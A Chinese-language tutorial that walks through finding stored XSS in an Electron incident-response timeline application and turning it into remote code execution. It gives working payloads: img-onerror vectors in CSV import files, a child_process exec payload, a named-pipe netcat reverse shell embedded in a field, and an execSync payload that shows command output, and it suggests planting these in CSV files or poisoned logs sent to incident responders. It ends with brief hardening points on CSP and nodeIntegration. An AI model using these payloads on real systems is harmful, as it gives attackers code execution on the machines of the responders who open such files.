15、如何在 Electron JavaScript 应用程序中查找并利用 XSS 以实现 RCE

如何在 Electron JavaScript 应用程序中查找并利用 XSS 以实现 RCE

1. 动态分析与调试

1.1 动态分析发现 XSS 触发机制

点击警报后，控制台会出现红色的图像加载错误 net::ERR_FILE_NOT_FOUND 。打开该错误，会看到对 @ w2ui-1.5.rc1.min.js:5 的调用。点击链接和左下角的花括号 { } 可使压缩代码更易读。

在 w2ui 库中，插入文本时，它会从剪贴板获取内容并通过 document.execCommand 插入到当前元素中。由于 img 元素尝试加载 x 图像，而该图像不存在，从而触发错误，进而触发 XSS。

1.2 调试应用程序

为了更好地理解软件执行过程，可使用调试器。以下是调试步骤：
1. 进入事件字段，输入 <img src=x onerror=alert(2)> ，文本会正确编码显示，XSS 未触发，可能是由于反 XSS 函数的作用。
2. 为方便操作，保存文件，关闭并重新打开应用程序，以获得干净的表格。
3. 进入时间线，点击“添加项目”。
4. 从开发者工具中，进入“源”，选择 gui_definitions.js ，点击第 822 行，即返回 w2ui.encodeTags 函数的位置，设置断点。
5. 最后，点击事件字段，输入 <img src=x onerror=alert(2)> 并按回车键，触发断点。此时窗口会出现黄色框，表明调试器正在工作。

调试器右侧列有几个按钮：
| 按钮 | 功能 |
| ---- | ---- |
| 蓝色三角形 | 恢复脚本执行 |
| 跳过点的箭头 | 跳过不感兴趣的函数 |
| 指向子弹的箭头 | 进入感兴趣的函数 |
| 远离点的箭头 | 退出不感兴趣的函数 |
| 点右侧的箭头 | 继续流程 |

调试时，可关注“作用域”面板（查看变量）和“断点”面板（查看断点）。同时，代码旁边会逐行以橙色高亮显示值。

为查看 XSS 向量在 unsafeVal 变量中的作用，点击“进入”深入调试。进入 u 函数后，向量会被赋值给局部变量 b 。若函数显示不清晰，可点击右下角的花括号 { } 格式化代码。

随着执行进行，点击“跳过”直到第 308 行，此时向量作为字符串未进行各种替换。在局部作用域中，可看到 b 被编码为 <img src=x onerror=alert(2)> 。分析 XSS 过滤器，可看到以下代码：

b = String(b).replace(/&/g, "&").replace(/>/g, ">").
replace(/</g, "&lt;").replace(/"/g, "&quot;");

该贪婪正则表达式会查找所有 & 、 < 、 > 和 " 的出现位置并进行替换。

完成调试后，点击“退出”回到初始点，查看编码后的返回值，它使 XSS 无害。最后，将案例保存为 xss2.csv 并关闭应用程序。

2. 分析存储文件查找潜在存储型 XSS

2.1 查看存储文件内容

回到 xss2.fox 文件，在终端使用 cat 命令查看文件内容：

$ cat xss2.fox
{
    "storage_format_version": 7,
    "locked": true,
    "case_id": "XXX",
    "client": "",
    "start_date": "",
    "summary": "",
    "timeline": [
        {
            "recid": 1,
            "w2ui": {},
            "date_time": "",
            "event_type": "EventLog",
            "event_host": "",
            "direction": "->",
            "killchain": "Delivery",
            "event_data": "Event text <img src=x onerror=alert(2)>",
            "notes": "Notes text",
            "visual": true,
            "attribution": "Attribution text",
            "owner": ""
        }
    ]
}

尽管表格输出已正确编码以避免触发 XSS，但输入内容未修改就存储在文件中。在应急响应应用程序中，这是一种好做法，但在将输出显示到屏幕时若不注意，可能会引发存储型 XSS。

2.2 触发存储型 XSS

重新打开应用程序，打开 xss2.fox 文件，进入时间线，点击事件旁边的小 ⓘ 符号，XSS 会出现。这是因为显示代码的函数会检索文本内容并插入到呈现的 HTML 中。

点击警报后，会弹出一个新框。回到日期/时间字段，输入任意日期，勾选“可视化？”复选框，然后点击“可视化时间线”，警报也会在此处出现，同时时间线会显示图像加载错误。

graph TD;
    A[打开 xss2.fox 文件] --> B[进入时间线];
    B --> C[点击 ⓘ 符号];
    C --> D[触发 XSS];
    D --> E[点击警报弹出新框];
    E --> F[回到日期/时间字段输入日期];
    F --> G[勾选可视化复选框];
    G --> H[点击可视化时间线];
    H --> I[再次触发 XSS]

3. 分析代码理解 XSS 中和函数

3.1 查找函数引用

通过 VSCode 打开存储库文件夹，然后打开 src 目录下的 gui_definitions.js 文件，转到第 813 行，查看 renderSafe 函数。右键点击并选择“查找所有引用”，会发现该函数仅在第 830 行被调用。

根据第 828 和 829 行的注释，代码会检查配置中每个网格的字段是否应渲染。如果字段是用户可编辑的，且类型为列表或文本，则会对其进行编码。这就解释了为什么其他视图（如时间线和弹出窗口）容易受到攻击。

3.2 查找易受攻击的字段

阅读应用程序代码时，会发现表格在 gui_definitions.js 文件中声明。转到第 189 行，可看到有一个可编辑字段，但它是 datetime 类型，因此不会被 renderSafe 函数处理，因为该函数仅处理列表和文本类型。

继续在 gui_definitions.js 文件中查找表格定义，还能找到两个易受攻击的表格：
- 与将恶意软件发送到 MISP 威胁共享平台相关的表格，因为它从恶意软件表中检索数据，利用该漏洞稍复杂，需要多次点击。
- 与导入功能相关的表格，因为 CSV 文件的字段仍被视为输入。向应急响应人员发送包含 XSS 的 CSV 文件头较困难，但发送包含向量的日志内容是可行的。

4. 动态确认漏洞

4.1 准备测试文件

使用 VSCode 或其他文本编辑器准备一个名为 xss.csv 的文件，包含一组编号的 XSS 向量，以便快速识别易受攻击的字段：

Field1,Field2,Field3,Field4,Field5,Field6,Field7,Field8,Field9,Field10,Field11,Field12,Field13
<img src=x onerror=alert(1)>,<img src=x onerror=alert(2)>,<img src=x onerror=alert(3)>,<img src=x onerror=alert(4)>,<img src=x onerror=alert(5)>,<img src=x onerror=alert(6)>,<img src=x onerror=alert(7)>,<img src=x onerror=alert(8)>,<img src=x onerror=alert(9)>,<img src=x onerror=alert(10)>,<img src=x onerror=alert(11)>,<img src=x onerror=alert(12)>,<img src=x onerror=alert(13)>

4.2 导入测试文件并触发 XSS

运行应用程序，将案例保存到名为 xss_csv.fox 的新文件中。然后进入时间线，点击“导入 CSV”，选择 xss.csv 文件。导入过程中控制台会出现两个警告，后续会在其他漏洞部分讨论。

映射 CSV 文件中的字段与表格中的字段，然后点击“导入”。第一个字段的警报会多次显示，点击“确定”后会看到图像加载问题，控制台还会出现无法检索 x 的 GET 错误事件。

4.3 测试表头中的 XSS

创建一个名为 xss_head.csv 的文件，内容如下：

<img src=x onerror=alert(1)>,<img src=x onerror=alert(2)>,<img src=x onerror=alert(3)>,<img src=x onerror=alert(4)>,<img src=x onerror=alert(5)>,<img src=x onerror=alert(6)>,<img src=x onerror=alert(7)>,<img src=x onerror=alert(8)>,<img src=x onerror=alert(9)>,<img src=x onerror=alert(10)>,<img src=x onerror=alert(11)>,<img src=x onerror=alert(12)>,<img src=x onerror=alert(13)>

从时间线点击“导入 CSV”，选择 xss_head.csv 文件。这次点击映射导入的字段会触发 XSS，从控制台可看到 XSS 触发的各个点，都在使用的库 w2ui - 1.5.rc1.min.js 中。

graph TD;
    A[准备 xss.csv 文件] --> B[运行应用程序并保存案例];
    B --> C[进入时间线点击导入 CSV 选择 xss.csv];
    C --> D[映射字段并导入];
    D --> E[触发 XSS 并出现警告和错误];
    E --> F[准备 xss_head.csv 文件];
    F --> G[进入时间线点击导入 CSV 选择 xss_head.csv];
    G --> H[点击映射字段触发 XSS]

5. 将 XSS 武器化以实现 RCE

5.1 准备 RCE 有效负载

如果在声明新的 BrowserWindow 时 nodeIntegration 标志为 true ，则可以从渲染进程访问 Node API 模块，从而执行各种操作，如执行命令。

从 XSS 向量开始准备有效负载，需要 child_process 和 exec 来实现异步进程。在 Linux 系统上进行测试时，通常会弹出计算器，可使用 gnome - calculator ，得到以下向量：

<img src=x onerror="require('child_process').exec('gnome - calculator');">

将该向量复制粘贴到第一个字段，就能看到计算器弹出。

5.2 获取反向 shell

若要获取反向 shell，在 Linux 系统上可使用以下通过命名管道实现的反向 shell 单行命令：

rm /tmp/backpipe; mknod /tmp/backpipe p; /bin/sh 0</tmp/backpipe | nc 127.0.0.1 4444 1>/tmp/backpipe

对应的 XSS 向量为：

<img src=x onerror="require('child_process').exec('rm /tmp/backpipe; mknod /tmp/backpipe p; /bin/sh 0</tmp/backpipe | nc 127.0.0.1 4444 1>/tmp/backpipe')">

在终端准备本地监听器：

$ nc -nlvp 4444

将最终向量粘贴到易受攻击的字段，会看到对 x 的 GET 请求。回到终端，会看到连接已建立，输入 id 和 pwd 等命令可验证一切正常。

可以将向量嵌入 CSV 文件，让应急响应人员上传到其应用程序，或者利用 Web 应用程序中的日志中毒问题，日志导出并上传到应用程序时触发并执行代码。还可以通过以下代码在警报中显示 shell 命令的执行结果：

<img src=x onerror="alert(require('child_process').execSync('id').toString());">

6. 其他发现的 XSS 漏洞点

以下是一些其他易受 XSS 攻击的字段：
- 应用程序屏幕 ：日期/时间字段除非直接从 CSV 文件导入并在加载后立即触发，否则会被验证函数过滤。
- 时间线屏幕 ：事件预览显示时，日期/时间、类型、事件系统、方向、远程系统、杀伤链、事件、注释、可视化？、跟进、归因和所有者等字段易受攻击。
- 可视化时间线屏幕 ：事件系统、事件、类型和远程系统字段易受攻击。
- 包含以下可编辑查找数据的表格 ：调查人员（简称）和系统（主机名）。
- MISP 弹出窗口 。

7. 其他漏洞

在处理 Electron 应用程序时，还可能发现以下漏洞：
- 缺少或不正确的内容安全策略（CSP）实现 ：未使用 CSP 或使用不当的 Electron 应用程序可能会让攻击者注入有害脚本或未经授权的内容。可使用 Google CSP 评估器创建和验证 CSP。
- 使用存在已知漏洞的组件 ：Electron 应用程序可能依赖存在已知安全漏洞的第三方库或组件。可检查 .src/package.json 文件中的内部组件，同时 Chrome 版本也很重要，旧版本可能容易受到一键式攻击。
- Node.js 集成 ： nodeIntegration 设置为 true 的 Electron 应用程序会让渲染进程访问 Node.js 运行时，攻击者可执行任意代码，包括潜在的恶意脚本或模块。